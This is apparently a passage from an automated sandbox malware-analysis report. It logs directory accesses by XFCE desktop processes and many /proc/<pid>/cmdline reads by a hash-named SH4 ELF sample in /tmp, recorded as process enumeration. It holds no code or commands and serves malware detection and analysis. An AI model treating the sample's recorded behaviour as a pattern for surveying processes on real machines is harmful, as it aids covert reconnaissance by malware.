Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/samyak/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/samyak-fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/sinhala/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/tibetan-machine/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/tlwg/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/ttf-khmeros-core/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/truetype/ubuntu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/type1/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /usr/share/fonts/X11/encodings/large/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /home/saturnino/.cache	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /home/saturnino/.local	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5555)	Directory: /home/saturnino/.config	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /home/saturnino/.local/share/fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /home/saturnino/.fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/X11/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/cMap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/cmap/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/opentype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/X11/Type1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/X11/encodings/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/X11/misc/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/X11/util/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/cmap/adobe-cns1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/cmap/adobe-gb1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/cmap/adobe-japan1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/cmap/adobe-japan2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/cmap/adobe-korea1/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/opentype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/opentype/mathjax/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/opentype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/opentype/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/Gargi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/Gubbi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/Nakula/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/Navilu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/Sahadeva/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/Sarai/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/abyssinica/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/ancient-scripts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/dejavu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/droid/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/fonts-beng-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/fonts-deva-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/fonts-gujr-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/fonts-guru-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/fonts-kalapi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/fonts-orya-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/fonts-telu-extra/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/fonts-yrsa-rasa/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/freefont/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/kacst/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/kacst-one/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/lao/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/lato/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/liberation/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/liberation2/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/lohit-assamese/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/lohit-bengali/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/lohit-devanagari/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/lohit-gujarati/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/lohit-kannada/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/lohit-malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/lohit-oriya/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/lohit-punjabi/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/lohit-tamil/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/lohit-tamil-classical/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/lohit-telugu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/malayalam/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/noto/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/openoffice/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/padauk/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/pagul/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/samyak/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/samyak-fonts/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/sinhala/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/tibetan-machine/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/tlwg/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/ttf-khmeros-core/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/truetype/ubuntu/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/type1/urw-base35/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/panel/wrapper-2.0 (PID: 5556)	Directory: /usr/share/fonts/X11/encodings/large/.uuid	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5572)	Directory: /home/saturnino/.cache	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5572)	Directory: /home/saturnino/.local	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5572)	Directory: /home/saturnino/.config	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd (PID: 5572)	Directory: /home/saturnino/.config	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 5582)	Directory: /home/saturnino/.Xdefaults-galassia	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 5582)	Directory: /home/saturnino/.cache	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 5582)	Directory: /home/saturnino/.local	Jump to behavior
Source: /usr/lib/x86_64-linux-gnu/xfce4/notifyd/xfce4-notifyd (PID: 5582)	Directory: /home/saturnino/.config	Jump to behavior

Enumerates processes within the "proc" file system

Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3882/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/5543/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1185/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3241/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3483/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1732/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1730/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1333/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1695/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3235/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3234/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/5533/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/911/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/515/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/914/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1617/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1615/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/5539/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/5551/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/5552/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/5553/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/5554/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3255/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3253/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1591/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3252/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3251/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3250/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1623/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3249/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/764/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3368/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1585/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3246/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3488/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/766/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/888/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/5545/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/802/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1509/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/804/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1867/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3407/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1484/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/490/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1514/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1634/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1479/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1875/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/654/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3379/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/655/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/656/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/777/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/931/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1595/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/657/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/5555/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/812/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/779/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/658/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/933/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/5556/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/418/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/419/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3419/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/5572/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3310/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3275/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3274/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3273/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3394/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3272/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/782/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3303/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1762/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3027/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1486/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/789/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1806/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/5582/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1660/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3044/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3440/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/793/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/794/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3316/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/674/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/796/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/675/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/676/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1498/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1497/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/1496/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3157/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3278/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3399/cmdline	Jump to behavior
Source: /tmp/db0fa4b8db0333367e9bda3ab68b8042.sh4.elf (PID: 5546)	File opened: /proc/3712/cmdline	Jump to behavior
